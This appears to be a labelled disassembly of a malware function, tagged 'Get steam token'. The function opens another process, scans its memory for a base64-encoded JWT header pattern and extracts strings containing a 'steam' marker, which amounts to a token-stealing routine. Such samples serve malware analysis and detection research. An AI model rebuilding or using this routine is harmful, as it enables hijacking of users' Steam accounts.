Function at 0x40f940
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421440
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44c
push ebx
push esi
push edi
xor edi, edi
push 0x64000
mov dword [ebp - 0x10], edi
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
mov esi, eax
add esp, 4
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x2c], 0
mov eax, dword [ebp + 0xc]
push eax
push edi
push 0x1fffff
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
jne 0x40f9dc
mov esi, dword [ebp + 8]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], edi
push 0x42707b
mov byte [esi], 0
call sub.msvcrt.dll_strlen
add esp, 4
push eax
push 0x42707b
mov ecx, esi
call fcn.0040f650
cmp dword [ebp - 0x18], 0x10
jb 0x40fbc2
mov ecx, dword [ebp - 0x2c]
push ecx
jmp 0x40fbba
push 0x207
lea edx, [ebp - 0x24f]
push edi
push edx
mov byte [ebp - 0x250], 0
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x458]
push eax
push esi
push 0xfff
push 0xffffffffffffffff
push edi
push edi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push ebx
call fcn.0040f000
add esp, 0x2c
mov esi, eax
add esi, 0x208
mov edi, edx
adc edi, 0
test edx, edx
jne 0x40fa3b
test eax, eax
je 0x40fb30
lea ecx, [ecx]
test edx, edx
jne 0x40fa3b
cmp eax, 0xffff
jbe 0x40fa51
push 0
push 0x208
lea ecx, [ebp - 0x250]
push ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea edx, [ebp - 0x250]
push edx
call sub.msvcrt.dll_strlen
add esp, 4
push eax
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040f650
cmp dword [ebp - 0x1c], 0x12c
jbe 0x40fad5
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x48]
push edx
call fcn.0040f810
add esp, 8
mov eax, dword [ebp - 0x38]
mov byte [ebp - 4], 1
test eax, eax
je 0x40fabf
cmp eax, 0xa
jbe 0x40fabf
push str.N0ZWFt
call sub.msvcrt.dll_strlen
add esp, 4
push eax
push 0
push str.N0ZWFt
lea ecx, [ebp - 0x2c]
call fcn.0040f1d0
cmp eax, 0xffffffff
jne 0x40fb6d
cmp dword [ebp - 0x34], 0x10
mov byte [ebp - 4], 0
jb 0x40fad5
mov eax, dword [ebp - 0x48]
push eax
call fcn.00411bc0
add esp, 4
push 0x207
lea ecx, [ebp - 0x24f]
push 0
push ecx
mov byte [ebp - 0x250], 0
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x458]
push edx
push eax
push 0xfff
push 0xffffffffffffffff
push edi
push esi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push ebx
call fcn.0040f000
add esp, 0x2c
mov esi, eax
add esi, 0x208
mov edi, edx
adc edi, 0
test edx, edx
ja 0x40fa3b
jb 0x40fb30
test eax, eax
jne 0x40fa30
mov edx, dword [ebp - 0x10]
push edx
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
mov esi, dword [ebp + 8]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
push 0x42707c
mov byte [esi], 0
call sub.msvcrt.dll_strlen
add esp, 8
push eax
push 0x42707c
mov ecx, esi
call fcn.0040f650
cmp dword [ebp - 0x18], 0x10
jmp 0x40fbb4
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
mov ebx, 0xf
push ecx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x10], 0
mov ecx, esi
mov byte [esi], 0
call fcn.0040f790
mov edi, 0x10
cmp dword [ebp - 0x34], edi
jb 0x40fba3
mov edx, dword [ebp - 0x48]
push edx
call fcn.00411bc0
add esp, 4
cmp dword [ebp - 0x18], edi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x48], 0
jb 0x40fbc2
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00411bc0
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret